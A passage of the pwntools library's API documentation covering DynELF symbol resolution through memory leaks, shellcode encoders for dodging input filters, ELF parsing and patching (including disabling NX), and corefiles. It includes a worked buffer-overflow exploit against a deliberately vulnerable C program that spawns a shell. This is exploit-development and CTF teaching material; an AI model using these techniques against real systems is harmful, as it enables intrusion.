```

Valid values for `pwnlib.context.ContextType.os()`

proxy

Default proxy for all socket connections.

Accepts either a string (hostname or IP address) for a `SOCKS5` proxy on the default port, **or** a tuple passed to `socks.set_default_proxy`, e.g. (`socks.SOCKS4`, `'localhost'`, `1234`).

```
>>> context.proxy = 'localhost'
>>> r=remote('google.com', 80)
Traceback (most recent call last):
...
ProxyConnectionError: Error connecting to SOCKS5 proxy localhost:1080: [Errno_
↳ 111] Connection refused
```

```
>>> context.proxy = None
>>> r=remote('google.com', 80, level='error')
```

quiet

Disables all non-error logging within the enclosed scope, *unless* the debugging level is set to 'debug' or lower.

randomize

Global flag that lots of things should be randomized.

rename_corefiles

Whether pwntools automatically renames corefiles.

This is useful for two things:

- Prevent corefiles from being overwritten, if `kernel.core_pattern` is something simple like "core".
- Ensure corefiles are generated, if `kernel.core_pattern` uses `apport`, which refuses to overwrite any existing files.

This only affects corefiles accessed via `process.corefile`.

Default value is `True`.

sign

Alias for `signed`

signed

Signed-ness for packing operation when it's not explicitly set.

Can be set to any non-string truthy value, or the specific string values 'signed' or 'unsigned' which are converted into `True` and `False` correspondingly.

Examples

```
>>> context.signed
False
>>> context.signed = 1
>>> context.signed
True
>>> context.signed = 'signed'
>>> context.signed
True
>>> context.signed = 'unsigned'
>>> context.signed
False
>>> context.signed = 'foobar'
Traceback (most recent call last):
...
AttributeError: signed must be one of ['no', 'signed', 'unsigned', 'yes'] or
↳a non-string truthy value
```

signedness

Alias for `signed`

```
signednesses = {'no': False, 'signed': True, 'unsigned': False, 'yes': True}
```

Valid string values for `signed`

silent

Disable all non-error logging within the enclosed scope.

terminal

Default terminal used by `pwnlib.util.misc.run_in_new_terminal()`. Can be a string or an iterable of strings. In the latter case the first entry is the terminal and the rest are default arguments.

timeout

Default amount of time to wait for a blocking operation before it times out, specified in seconds.

The default value is to have an infinite timeout.

See `pwnlib.timeout.Timeout` for additional information on valid values.

verbose

Enable all logging within the enclosed scope.

word_size

Alias for `bits`

class `pwnlib.context.Thread(*args, **kwargs)`

Instantiates a context-aware thread, which inherit its context when it is instantiated. The class can be accessed both on the context module as `pwnlib.context.Thread` and on the context singleton object inside the context module as `pwnlib.context.context.Thread`.

Threads created by using the native `:class'threading'.Thread'` will have a clean (default) context.

Regardless of the mechanism used to create any thread, the context is de-coupled from the parent thread, so changes do not cascade to child or parent.

Saves a copy of the context when instantiated (at `__init__`) and updates the new thread's context before passing control to the user code via `run` or `target=`.

Examples

```
>>> context.clear()
>>> context.update(arch='arm')
>>> def p():
...     print context.arch
...     context.arch = 'mips'
...     print context.arch
>>> # Note that a normal Thread starts with a clean context
>>> # (i386 is the default architecture)
>>> t = threading.Thread(target=p)
>>> _(t.start(), t.join())
i386
mips
>>> # Note that the main Thread's context is unchanged
>>> print context.arch
arm
>>> # Note that a context-aware Thread receives a copy of the context
>>> t = pwnlib.context.Thread(target=p)
>>> _(t.start(), t.join())
arm
mips
>>> # Again, the main thread is unchanged
>>> print context.arch
arm
```

Implementation Details:

This class implemented by hooking the private function `threading.Thread._Thread_bootstrap()`, which is called before passing control to `threading.Thread.run()`.

This could be done by overriding `run` itself, but we would have to ensure that all uses of the class would only ever use the keyword `target=` for `__init__`, or that all subclasses invoke `super(Subclass.self).set_up_context()` or similar.

```
pwnlib.context.context = ContextType()
```

Global `ContextType` object, used to store commonly-used pwntools settings.

In most cases, the context is used to infer default variables values. For example, `asm()` can take an `arch` parameter as a keyword argument.

If it is not supplied, the `arch` specified by `context` is used instead.

Consider it a shorthand to passing `os=` and `arch=` to every single function call.

2.9 pwnlib.dyneif — Resolving remote functions using leaks

Resolve symbols in loaded, dynamically-linked ELF binaries. Given a function which can leak data at an arbitrary address, any symbol in any loaded library can be resolved.

Example

```
# Assume a process or remote connection
p = process('./pwnme')

# Declare a function that takes a single address, and
# leaks at least one byte at that address.
def leak(address):
    data = p.read(address, 4)
    log.debug("%#x => %s" % (address, (data or '').encode('hex')))
    return data

# For the sake of this example, let's say that we
# have any of these pointers. One is a pointer into
# the target binary, the other two are pointers into libc
main    = 0xfeedf4ce
libc    = 0xdeadb000
system  = 0xdeadbeef

# With our leaker, and a pointer into our target binary,
# we can resolve the address of anything.
#
# We do not actually need to have a copy of the target
# binary for this to work.
d = DynELF(leak, main)
assert d.lookup(None, 'libc') == libc
assert d.lookup('system', 'libc') == system

# However, if we *do* have a copy of the target binary,
# we can speed up some of the steps.
d = DynELF(leak, main, elf=ELF('./pwnme'))
assert d.lookup(None, 'libc') == libc
```

(continues on next page)

(continued from previous page)

```

assert d.lookup('system', 'libc') == system

# Alternately, we can resolve symbols inside another library,
# given a pointer into it.
d = DynELF(leak, libc + 0x1234)
assert d.lookup('system') == system

```

DynELF

class `pwnlib.dynelf.DynELF` (*leak*, *pointer=None*, *elf=None*, *libcdb=True*)

DynELF knows how to resolve symbols in remote processes via an infoleak or memleak vulnerability encapsulated by `pwnlib.memleak.MemLeak`.

Implementation Details:

Resolving Functions:

In all ELF files which export symbols for importing by other libraries, (e.g. `libc.so`) there are a series of tables which give exported symbol names, exported symbol addresses, and the hash of those exported symbols. By applying a hash function to the name of the desired symbol (e.g., `'printf'`), it can be located in the hash table. Its location in the hash table provides an index into the string name table (`strtab`), and the symbol address (`symtab`).

Assuming we have the base address of `libc.so`, the way to resolve the address of `printf` is to locate the `symtab`, `strtab`, and hash table. The string `"printf"` is hashed according to the style of the hash table (`SYSV` or `GNU`), and the hash table is walked until a matching entry is located. We can verify an exact match by checking the string table, and then get the offset into `libc.so` from the `symtab`.

Resolving Library Addresses:

If we have a pointer into a dynamically-linked executable, we can leverage an internal linker structure called the `link map`. This is a linked list structure which contains information about each loaded library, including its full path and base address.

A pointer to the `link map` can be found in two ways. Both are referenced from entries in the `DYNAMIC` array.

- In non-RELRO binaries, a pointer is placed in the `.got.plt` area in the binary. This is marked by finding the `DT_PLTGOT` area in the binary.
- In all binaries, a pointer can be found in the area described by the `DT_DEBUG` area. This exists even in stripped binaries.

For maximum flexibility, both mechanisms are used exhaustively.

Instantiates an object which can resolve symbols in a running binary given a `pwnlib.memleak.MemLeak` leaker and a pointer inside the binary.

Parameters

- **leak** (`MemLeak`) – Instance of `pwnlib.memleak.MemLeak` for leaking memory
- **pointer** (`int`) – A pointer into a loaded ELF file
- **elf** (`str`, `ELF`) – Path to the ELF file on disk, or a loaded `pwnlib.elf.ELF`.
- **libcdb** (`bool`) – Attempt to use `libcdb` to speed up `libc` lookups

`bases` ()

Resolve base addresses of all loaded libraries.

Return a dictionary mapping library path to its base address.

dump (*libs = False, readonly = False*)

Dumps the ELF's memory pages to allow further analysis.

Parameters

- **libs** (*bool, optional*) – True if should dump the libraries too (False by default)
- **readonly** (*bool, optional*) – True if should dump read-only pages (False by default)

Returns *a dictionary of the form – { address : bytes }*

static find_base (*leak, ptr*)

Given a `pwnlib.memleak.MemLeak` object and a pointer into a library, find its base address.

heap ()

Finds the beginning of the heap via `__curbrk`, which is an exported symbol in the linker, which points to the current brk.

lookup (*symb = None, lib = None*) → int

Find the address of `symbol`, which is found in `lib`.

Parameters

- **symb** (*str*) – Named routine to look up If omitted, the base address of the library will be returned.
- **lib** (*str*) – Substring to match for the library name. If omitted, the current library is searched. If set to `'libc'`, `'libc.so'` is assumed.

Returns Address of the named symbol, or None.

stack ()

Finds a pointer to the stack via `__environ`, which is an exported symbol in `libc`, which points to the environment block.

dynamic

Returns: Pointer to the `.DYNAMIC` area.

elfclass

32 or 64

elftype

`e_type` from the elf header. In practice the value will almost always be `'EXEC'` or `'DYN'`. If the value is architecture-specific (between `ET_LOPROC` and `ET_HIPROC`) or invalid, `KeyError` is raised.

libc

Leak the Build ID of the remote `libc.so`, download the file, and load an ELF object with the correct base address.

Returns An ELF object, or None.

link_map

Pointer to the runtime `link_map` object

`pwnlib.dynelf.gnu_hash` (*str*) → int

Function used to generate GNU-style hashes for strings.

`pwnlib.dynelf.sysv_hash` (*str*) → int

Function used to generate SYSV-style hashes for strings.

2.10 pwnlib.encoders — Encoding Shellcode

Encode shellcode to avoid input filtering and impress your friends!

`pwnlib.encoders.encoder.alphanumeric` (*raw_bytes*) → str
 Encode the shellcode *raw_bytes* such that it does not contain any bytes except for [A-Za-z0-9].

Accepts the same arguments as `encode()`.

`pwnlib.encoders.encoder.encode` (*raw_bytes*, *avoid*, *expr*, *force*) → str
 Encode shellcode *raw_bytes* such that it does not contain any bytes in *avoid* or *expr*.

Parameters

- **raw_bytes** (*str*) – Sequence of shellcode bytes to encode.
- **avoid** (*str*) – Bytes to avoid
- **expr** (*str*) – Regular expression which matches bad characters.
- **force** (*bool*) – Force re-encoding of the shellcode, even if it doesn't contain any bytes in *avoid*.

`pwnlib.encoders.encoder.line` (*raw_bytes*) → str
 Encode the shellcode *raw_bytes* such that it does not contain any NULL bytes or whitespace.

Accepts the same arguments as `encode()`.

`pwnlib.encoders.encoder.null` (*raw_bytes*) → str
 Encode the shellcode *raw_bytes* such that it does not contain any NULL bytes.

Accepts the same arguments as `encode()`.

`pwnlib.encoders.encoder.printable` (*raw_bytes*) → str
 Encode the shellcode *raw_bytes* such that it only contains non-space printable bytes.

Accepts the same arguments as `encode()`.

`pwnlib.encoders.encoder.scramble` (*raw_bytes*) → str
 Encodes the input data with a random encoder.

Accepts the same arguments as `encode()`.

class `pwnlib.encoders.i386.xor.i386XorEncoder`
 Generates an XOR decoder for i386.

```
>>> context.clear(arch='i386')
>>> shellcode = asm(shellcraft.sh())
>>> avoid = '/bin/sh\xcc\xcd\x80'
>>> encoded = pwnlib.encoders.i386.xor.encode(shellcode, avoid)
>>> assert not any(c in encoded for c in avoid)
>>> p = run_shellcode(encoded)
>>> p.sendline('echo hello; exit')
>>> p.recvline()
'hello\n'
```

Shellcode encoder class

Implements an architecture-specific shellcode encoder

2.11 pwnlib.elf — ELF Executables and Libraries

Most exploitable CTF challenges are provided in the Executable and Linkable Format (ELF). Generally, it is very useful to be able to interact with these files to extract data such as function addresses, ROP gadgets, and writable page addresses.

2.11.1 ELF Modules

pwnlib.elf.elf — ELF Files

Exposes functionality for manipulating ELF files

Stop hard-coding things! Look them up at runtime with `pwnlib.elf`.

Example Usage

```
>>> e = ELF('/bin/cat')
>>> print hex(e.address)
0x400000
>>> print hex(e.symbols['write'])
0x401680
>>> print hex(e.got['write'])
0x60b070
>>> print hex(e.plt['write'])
0x401680
```

You can even patch and save the files.

```
>>> e = ELF('/bin/cat')
>>> e.read(e.address+1, 3)
'ELF'
>>> e.asm(e.address, 'ret')
>>> e.save('/tmp/quiet-cat')
>>> disasm(file('/tmp/quiet-cat', 'rb').read(1))
'  0:  c3                ret'
```

Module Members

class pwnlib.elf.elf.**ELF** (*path*, *checksec=True*)

Bases: `elftools.elf.elffile.ELFFile`

Encapsulates information about an ELF file.

Example

```
>>> bash = ELF(which('bash'))
>>> hex(bash.symbols['read'])
0x41dac0
>>> hex(bash.plt['read'])
0x41dac0
```

(continues on next page)

(continued from previous page)

```

>>> u32(bash.read(bash.got['read'], 4))
0x41dac6
>>> print bash.disasm(bash.plt.read, 16)
0:  ff 25 1a 18 2d 00      jmp     QWORD PTR [rip+0x2d181a]      # 0x2d1820
6:  68 59 00 00 00        push   0x59
b:  e9 50 fa ff ff        jmp     0xfffffffffffffa60

```

asm (*address*, *assembly*)

Assembles the specified instructions and inserts them into the ELF at the specified address.

This modifies the ELF in-place. The resulting binary can be saved with `ELF.save()`

bss (*offset=0*) → int

Returns Address of the `.bss` section, plus the specified offset.

checksec (*banner=True*)

Prints out information in the binary, similar to `checksec.sh`.

Parameters **banner** (*bool*) – Whether to print the path to the ELF binary.

debug (*argv=[]*, **a*, ***kw*) → tube

Debug the ELF with `gdb.debug()`.

Parameters

- **argv** (*list*) – List of arguments to the binary
- ***args** – Extra arguments to `gdb.debug()`
- ****kwargs** – Extra arguments to `gdb.debug()`

Returns *tube* – See `gdb.debug()`

disable_nx ()

Disables NX for the ELF.

Zeros out the `PT_GNU_STACK` program header `p_type` field.

disasm (*address*, *n_bytes*) → str

Returns a string of disassembled instructions at the specified virtual memory address

dynamic_by_tag (*tag*) → tag

Parameters **tag** (*str*) – Named `DT_XXX` tag (e.g. `'DT_STRTAB'`).

Returns `elftools.elf.dynamic.DynamicTag`

dynamic_string (*offset*) → bytes

Fetches an enumerated string from the `DT_STRTAB` table.

Parameters **offset** (*int*) – String index

Returns *str* – String from the table as raw bytes.

dynamic_value_by_tag (*tag*) → int

Retrieve the value from a dynamic tag a la `DT_XXX`.

If the tag is missing, returns `None`.

fit (*address*, **a*, ***kw*)

Writes fitted data into the specified address.

See: `packing.fit()`

flat (*address*, **a*, ***kw*)

Writes a full array of values to the specified address.

See: `packing.flat()`

static from_assembly (*assembly*) → ELF

Given an assembly listing, return a fully loaded ELF object which contains that assembly at its entry point.

Parameters

- **assembly** (*str*) – Assembly language listing
- **vma** (*int*) – Address of the entry point and the module's base address.

Example

```
>>> e = ELF.from_assembly('nop; foo: int 0x80', vma = 0x400000)
>>> e.symbols['foo'] = 0x400001
>>> e.disasm(e.entry, 1)
' 400000:      90                nop'
>>> e.disasm(e.symbols['foo'], 2)
' 400001:      cd 80            int     0x80'
```

static from_bytes (*bytes*) → ELF

Given a sequence of bytes, return a fully loaded ELF object which contains those bytes at its entry point.

Parameters

- **bytes** (*str*) – Shellcode byte string
- **vma** (*int*) – Desired base address for the ELF.

Example

```
>>> e = ELF.from_bytes('\x90\xcd\x80', vma=0xc000)
>>> print(e.disasm(e.entry, 3))
c000:      90                nop
c001:      cd 80            int     0x80
```

get_machine_arch ()

Return the machine architecture, as detected from the ELF header. Not all architectures are supported at the moment.

get_section_by_name (*name*)

Get a section from the file, by name. Return None if no such section exists.

iter_segments_by_type (*t*)

Yields Segments matching the specified type.

num_sections ()

Number of sections in the file

num_segments ()

Number of segments in the file

offset_to_vaddr (*offset*) → int

Translates the specified offset to a virtual address.

Parameters **offset** (*int*) – Offset to translate

Returns *int* – Virtual address which corresponds to the file offset, or None.

Examples

This example shows that regardless of changes to the virtual address layout by modifying *ELF.address*, the offset for any given address doesn't change.

```

>>> bash = ELF('/bin/bash')
>>> bash.address == bash.offset_to_vaddr(0)
True
>>> bash.address += 0x123456
>>> bash.address == bash.offset_to_vaddr(0)
True

```

p16 (*address, data, *a, **kw*)

Writes a 16-bit integer data to the specified address

p32 (*address, data, *a, **kw*)

Writes a 32-bit integer data to the specified address

p64 (*address, data, *a, **kw*)

Writes a 64-bit integer data to the specified address

p8 (*address, data, *a, **kw*)

Writes a 8-bit integer data to the specified address

pack (*address, data, *a, **kw*)

Writes a packed integer data to the specified address

process (*argv=[], *a, **kw*) → *process*

Execute the binary with *process*. Note that *argv* is a list of arguments, and should not include *argv[0]*.

Parameters

- **argv** (*list*) – List of arguments to the binary
- ***args** – Extra arguments to *process*
- ****kwargs** – Extra arguments to *process*

Returns *process*

read (*address, count*) → bytes

Read data from the specified virtual address

Parameters

- **address** (*int*) – Virtual address to read
- **count** (*int*) – Number of bytes to read

Returns A *str* object, or None.

Examples

The simplest example is just to read the ELF header.

```
>>> bash = ELF(which('bash'))
>>> bash.read(bash.address, 4)
'\x7fELF'
```

ELF segments do not have to contain all of the data on-disk that gets loaded into memory.

First, let's create an ELF file has some code in two sections.

```
>>> assembly = '''
... .section .A,"awx"
... .global A
... A: nop
... .section .B,"awx"
... .global B
... B: int3
... '''
>>> e = ELF.from_assembly(assembly, vma=False)
```

By default, these come right after each other in memory.

```
>>> e.read(e.symbols.A, 2)
'\x90\xcc'
>>> e.symbols.B - e.symbols.A
1
```

Let's move the sections so that B is a little bit further away.

```
>>> objcopy = pwnlib.asm._objcopy()
>>> objcopy += [
...     '--change-section-vma', '.B+5',
...     '--change-section-lma', '.B+5',
...     e.path
... ]
>>> subprocess.check_call(objcopy)
0
```

Now let's re-load the ELF, and check again

```
>>> e = ELF(e.path)
>>> e.symbols.B - e.symbols.A
6
>>> e.read(e.symbols.A, 2)
'\x90\x00'
>>> e.read(e.symbols.A, 7)
'\x90\x00\x00\x00\x00\x00\xcc'
>>> e.read(e.symbols.A, 10)
'\x90\x00\x00\x00\x00\x00\xcc\x00\x00\x00'
```

Everything is relative to the user-selected base address, so moving things around keeps everything working.

```
>>> e.address += 0x1000
>>> e.read(e.symbols.A, 10)
'\x90\x00\x00\x00\x00\x00\xcc\x00\x00\x00'
```

save (*path=None*)

Save the ELF to a file

```
>>> bash = ELF(which('bash'))
>>> bash.save('/tmp/bash_copy')
>>> copy = file('/tmp/bash_copy')
>>> bash = file(which('bash'))
>>> bash.read() == copy.read()
True
```

search (*needle*, *writable = False*) → generator

Search the ELF’s virtual address space for the specified string.

Notes

Does not search empty space between segments, or uninitialized data. This will only return data that actually exists in the ELF file. Searching for a long string of NULL bytes probably won’t work.

Parameters

- **needle** (*str*) – String to search for.
- **writable** (*bool*) – Search only writable sections.

Yields An iterator for each virtual address that matches.

Examples

An ELF header starts with the bytes `\x7fELF`, so we could be able to find it easily.

```
>>> bash = ELF('/bin/bash')
>>> bash.address + 1 == next(bash.search('ELF'))
True
```

We can also search for string the binary.

```
>>> len(list(bash.search('GNU bash'))) > 0
True
```

section (*name*) → bytes

Gets data for the named section

Parameters **name** (*str*) – Name of the section

Returns *str* – String containing the bytes for that section

string (*address*) → str

Reads a null-terminated string from the specified address

Returns A *str* with the string contents (NUL terminator is omitted), or an empty string if no NUL terminator could be found.

u16 (*address*, **a*, ***kw*)

Unpacks an integer from the specified address.

u32 (*address*, **a*, ***kw*)

Unpacks an integer from the specified address.

u64 (*address*, **a*, ***kw*)

Unpacks an integer from the specified address.

u8 (*address*, **a*, ***kw*)

Unpacks an integer from the specified address.

unpack (*address*, **a*, ***kw*)

Unpacks an integer from the specified address.

vaddr_to_offset (*address*) → int

Translates the specified virtual address to a file offset

Parameters **address** (*int*) – Virtual address to translate

Returns *int* – Offset within the ELF file which corresponds to the address, or None.

Examples

```
>>> bash = ELF(which('bash'))
>>> bash.vaddr_to_offset(bash.address)
0
>>> bash.address += 0x123456
>>> bash.vaddr_to_offset(bash.address)
0
>>> bash.vaddr_to_offset(0) is None
True
```

write (*address*, *data*)

Writes data to the specified virtual address

Parameters

- **address** (*int*) – Virtual address to write
- **data** (*str*) – Bytes to write

Note: This routine does not check the bounds on the write to ensure that it stays in the same segment.

Examples

```
>>> bash = ELF(which('bash'))
>>> bash.read(bash.address+1, 3)
'ELF'
>>> bash.write(bash.address, "HELO")
>>> bash.read(bash.address, 4)
'HELO'
```

address

Address of the lowest segment loaded in the ELF.

When updated, the addresses of the following fields are also updated:

- *symbols*
- *got*
- *plt*
- *functions*

However, the following fields are **NOT** updated:

- *segments*
- *sections*

Example

```

>>> bash = ELF('/bin/bash')
>>> read = bash.symbols['read']
>>> text = bash.get_section_by_name('.text').header.sh_addr
>>> bash.address += 0x1000
>>> read + 0x1000 == bash.symbols['read']
True
>>> text == bash.get_section_by_name('.text').header.sh_addr
True

```

Type `int`

arch = None

Architecture of the file (e.g. 'i386', 'arm').

See: `ContextType.arch`

Type `str`

asan

Whether the current binary was built with Address Sanitizer (ASAN).

Type `bool`

aslr

Whether the current binary is position-independent.

Type `bool`

bits = 32

Bit-ness of the file

Type `int`

build = None

Linux kernel build commit, if this is a Linux kernel image

Type `str`

buildid

GNU Build ID embedded into the binary

Type `str`

bytes = 4

Pointer width, in bytes

Type `int`

canary

Whether the current binary uses stack canaries.

Type `bool`

config = None

Linux kernel configuration, if this is a Linux kernel image

Type dict

data

Raw data of the ELF file.

See: `get_data()`

Type str

dwarf

DWARF info for the elf

elftype

ELF type (EXEC, DYN, etc)

Type str

endian = 'little'

Endianness of the file (e.g. 'big', 'little')

Type str

entry

Address of the entry point for the ELF

Type int

entrypoint

Address of the entry point for the ELF

Type int

execstack

Whether the current binary uses an executable stack.

This is based on the presence of a program header `PT_GNU_STACK` being present, and its setting.

`PT_GNU_STACK`

The `p_flags` member specifies the permissions on the segment containing the stack and is used to indicate whether the stack should be executable. The absence of this header indicates that the stack will be executable.

In particular, if the header is missing the stack is executable. If the header is present, it may **explicitly** mark that the stack is executable.

This is only somewhat accurate. When using the GNU Linker, it uses `DEFAULT_STACK_PERMS` to decide whether a lack of `PT_GNU_STACK` should mark the stack as executable:

```
/* On most platforms presume that PT_GNU_STACK is absent and the stack is
 * executable. Other platforms default to a nonexecutable stack and don't
 * need PT_GNU_STACK to do so. */
uint_fast16_t stack_flags = DEFAULT_STACK_PERMS;
```

By searching the source for `DEFAULT_STACK_PERMS`, we can see which architectures have which settings.

```
$ git grep '#define DEFAULT_STACK_PERMS' | grep -v PF_X
sysdeps/aarch64/stackinfo.h:31:#define DEFAULT_STACK_PERMS (PF_R|PF_W)
sysdeps/nios2/stackinfo.h:31:#define DEFAULT_STACK_PERMS (PF_R|PF_W)
sysdeps/tile/stackinfo.h:31:#define DEFAULT_STACK_PERMS (PF_R|PF_W)
```

Type `bool`

executable = None

True if the ELF is an executable

executable_segments

List of all segments which are executable.

See: *ELF.segments*

Type `list`

file = None

Open handle to the ELF file on disk

Type `file`

fortify

Whether the current binary was built with Fortify Source (`-DFORTIFY`).

Type `bool`

functions = {}

dotdict of name to *Function* for each function in the ELF

got = {}

dotdict of name to address for all Global Offset Table (GOT) entries

libc

If this *ELF* imports any libraries which contain `'libc[.-]`, and we can determine the appropriate path to it on the local system, returns a new *ELF* object pertaining to that library.

If not found, the value will be `None`.

Type *ELF*

library = None

True if the ELF is a shared library

linker = None

Path to the linker for the ELF

memory = None

IntervalTree which maps all of the loaded memory segments

mmap = None

Memory-mapped copy of the ELF file on disk

Type `mmap.mmap`

msan

Whether the current binary was built with Memory Sanitizer (MSAN).

Type `bool`

native = None

Whether this ELF should be able to run natively

non_writable_segments

List of all segments which are NOT writeable.

See: *ELF.segments*

Type `list`

nx

Whether the current binary uses NX protections.

Specifically, we are checking for `READ_IMPLIES_EXEC` being set by the kernel, as a result of honoring `PT_GNU_STACK` in the kernel.

The **Linux kernel** directly honors `PT_GNU_STACK` to mark the stack as executable.

```
case PT_GNU_STACK:
    if (elf_ppnt->p_flags & PF_X)
        executable_stack = EXSTACK_ENABLE_X;
    else
        executable_stack = EXSTACK_DISABLE_X;
    break;
```

Additionally, it then sets `read_implies_exec`, so that all readable pages are executable.

```
if (elf_read_implies_exec(loc->elf_ex, executable_stack))
    current->personality |= READ_IMPLIES_EXEC;
```

Type `bool`

os = None

Operating system of the ELF

packed

Whether the current binary is packed with UPX.

Type `bool`

path = '/path/to/the/file'

Path to the file

Type `str`

pie

Whether the current binary is position-independent.

Type `bool`

plt = {}

dotdict of name to address for all Procedure Linkate Table (PLT) entries

relro

Whether the current binary uses RELRO protections.

This requires both presence of the dynamic tag `DT_BIND_NOW`, and a `GNU_RELRO` program header.

The [ELF Specification](#) describes how the linker should resolve symbols immediately, as soon as a binary is loaded. This can be emulated with the `LD_BIND_NOW=1` environment variable.

`DT_BIND_NOW`

If present in a shared object or executable, this entry instructs the dynamic linker to process all relocations for the object containing this entry before transferring control to the program. The presence of this entry takes precedence over a directive to use lazy binding for this object when specified through the environment or via `dlopen(BA_LIB)`.

(page 81)

Separately, an extension to the GNU linker allows a binary to specify a `PT_GNU_RELRO` program header, which describes the *region of memory which is to be made read-only after relocations are complete*.

Finally, a new-ish extension which doesn't seem to have a canonical source of documentation is `DF_BIND_NOW`, which has supposedly superseded `DT_BIND_NOW`.

`DF_BIND_NOW`

If set in a shared object or executable, this flag instructs the dynamic linker to process all relocations for the object containing this entry before transferring control to the program. The presence of this entry takes precedence over a directive to use lazy binding for this object when specified through the environment or via `dlopen(BA_LIB)`.

```
>>> path = pwnlib.data.elf.relro.path
>>> for test in glob(os.path.join(path, 'test-*')):
...     e = ELF(test)
...     expected = os.path.basename(test).split('-')[2]
...     actual = str(e.relro).lower()
...     assert actual == expected
```

Type `bool`

rpath

Whether the current binary has an RPATH.

Type `bool`

runpath

Whether the current binary has a RUNPATH.

Type `bool`

rxw_segments

List of all segments which are writeable and executable.

See: *ELF.segments*

Type `list`

sections

A list of `elftools.elf.sections`. Section objects for the segments in the ELF.

Type `list`

segments

A list of `elftools.elf.segments`. Segment objects for the segments in the ELF.

Type `list`

start

Address of the entry point for the ELF

Type `int`

statically_linked = None

True if the ELF is statically linked

sym

Alias for *ELF.symbols*

Type `dotdict`

symbols = {}

dotdict of name to address for all symbols in the ELF

ubsan

Whether the current binary was built with Undefined Behavior Sanitizer (UBSAN).

Type `bool`

version = None

Linux kernel version, if this is a Linux kernel image

Type `tuple`

writable_segments

List of all segments which are writeable.

See: `ELF.segments`

Type `list`

class `pwnlib.elf.elf.Function` (*name, address, size, elf=None*)

Encapsulates information about a function in an `ELF` binary.

Parameters

- **name** (`str`) – Name of the function
- **address** (`int`) – Address of the function
- **size** (`int`) – Size of the function, in bytes
- **elf** (`ELF`) – Encapsulating ELF object

address = None

Address of the function in the encapsulating ELF

elf = None

Encapsulating ELF object

name = None

Name of the function

size = None

Size of the function, in bytes

class `pwnlib.elf.elf.dotdict`

Wrapper to allow dotted access to dictionary elements.

Is a real `dict` object, but also serves up keys as attributes when reading attributes.

Supports recursive instantiation for keys which contain dots.

Example

```
>>> x = pwnlib.elf.elf.dotdict()
>>> isinstance(x, dict)
True
>>> x['foo'] = 3
>>> x.foo
3
>>> x['bar.baz'] = 4
>>> x.bar.baz
4
```

pwntools.elf.config — Kernel Config Parsing

Kernel-specific ELF functionality

pwntools.elf.config.**parse_kconfig**(*data*)
Parses configuration data from a kernel .config.

Parameters *data* (*str*) – Configuration contents.

Returns A `dict` mapping configuration options. “Not set” is converted into `None`, `y` and `n` are converted into `bool`. Numbers are converted into `int`. All other values are as-is. Each key has `CONFIG_` stripped from the beginning.

Examples

```
>>> parse_kconfig('FOO=3')
{'FOO': 3}
>>> parse_kconfig('FOO=y')
{'FOO': True}
>>> parse_kconfig('FOO=n')
{'FOO': False}
>>> parse_kconfig('FOO=bar')
{'FOO': 'bar'}
>>> parse_kconfig('# FOO is not set')
{'FOO': None}
```

pwntools.elf.corefile — Core Files

Read information from Core Dumps.

Core dumps are extremely useful when writing exploits, even outside of the normal act of debugging things.

Using Corefiles to Automate Exploitation

For example, if you have a trivial buffer overflow and don't want to open up a debugger or calculate offsets, you can use a generated core dump to extract the relevant information.

```
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
void win() {
    system("sh");
}
int main(int argc, char** argv) {
    char buffer[64];
    strcpy(buffer, argv[1]);
}
```

```
$ gcc crash.c -m32 -o crash -fno-stack-protector
```

```
from pwn import *

# Generate a cyclic pattern so that we can auto-find the offset
```

(continues on next page)

(continued from previous page)

```

payload = cyclic(128)

# Run the process once so that it crashes
process(['./crash', payload]).wait()

# Get the core dump
core = Coredump('./core')

# Our cyclic pattern should have been used as the crashing address
assert pack(core.eip) in payload

# Cool! Now let's just replace that value with the address of 'win'
crash = ELF('./crash')
payload = fit({
    cyclic_find(core.eip): crash.symbols.win
})

# Get a shell!
io = process(['./crash', payload])
io.sendline('id')
print io.recvline()
# uid=1000(user) gid=1000(user) groups=1000(user)

```

Module Members

class `pwnlib.elf.corefile.Corefile` (*a, **kw)

Bases: `pwnlib.elf.elf.ELF`

Enhances the information available about a corefile (which is an extension of the ELF format) by permitting extraction of information about the mapped data segments, and register state.

Registers can be accessed directly, e.g. via `core_obj.eax` and enumerated via `Corefile.registers`.

Parameters `core` – Path to the core file. Alternately, may be a `process` instance, and the core file will be located automatically.

```

>>> c = Corefile('./core')
>>> hex(c.eax)
'0xffff5f2e0'
>>> c.registers
{'eax': 4294308576,
 'ebp': 1633771891,
 'ebx': 4151132160,
 'ecx': 4294311760,
 'edi': 0,
 'edx': 4294308700,
 'eflags': 66050,
 'eip': 1633771892,
 'esi': 0,
 'esp': 4294308656,
 'orig_eax': 4294967295,
 'xcs': 35,
 'xds': 43,
 'xes': 43,
 'xfs': 0,

```

(continues on next page)

(continued from previous page)

```
'xgs': 99,
'xss': 43}
```

Mappings can be iterated in order via `Corefile.mappings`.

```
>>> Corefile('./core').mappings
[Mapping('/home/user/pwntools/crash', start=0x8048000, stop=0x8049000, ↵
↵size=0x1000, flags=0x5, page_offset=0x0),
 Mapping('/home/user/pwntools/crash', start=0x8049000, stop=0x804a000, ↵
↵size=0x1000, flags=0x4, page_offset=0x1),
 Mapping('/home/user/pwntools/crash', start=0x804a000, stop=0x804b000, ↵
↵size=0x1000, flags=0x6, page_offset=0x2),
 Mapping(None, start=0xf7528000, stop=0xf7529000, size=0x1000, flags=0x6, page_
↵offset=0x0),
 Mapping('/lib/i386-linux-gnu/libc-2.19.so', start=0xf7529000, stop=0xf76d1000, ↵
↵size=0x1a8000, flags=0x5, page_offset=0x0),
 Mapping('/lib/i386-linux-gnu/libc-2.19.so', start=0xf76d1000, stop=0xf76d2000, ↵
↵size=0x1000, flags=0x0, page_offset=0x1a8),
 Mapping('/lib/i386-linux-gnu/libc-2.19.so', start=0xf76d2000, stop=0xf76d4000, ↵
↵size=0x2000, flags=0x4, page_offset=0x1a9),
 Mapping('/lib/i386-linux-gnu/libc-2.19.so', start=0xf76d4000, stop=0xf76d5000, ↵
↵size=0x1000, flags=0x6, page_offset=0x1aa),
 Mapping(None, start=0xf76d5000, stop=0xf76d8000, size=0x3000, flags=0x6, page_
↵offset=0x0),
 Mapping(None, start=0xf76ef000, stop=0xf76f1000, size=0x2000, flags=0x6, page_
↵offset=0x0),
 Mapping('[vdso]', start=0xf76f1000, stop=0xf76f2000, size=0x1000, flags=0x5, ↵
↵page_offset=0x0),
 Mapping('/lib/i386-linux-gnu/ld-2.19.so', start=0xf76f2000, stop=0xf7712000, ↵
↵size=0x20000, flags=0x5, page_offset=0x0),
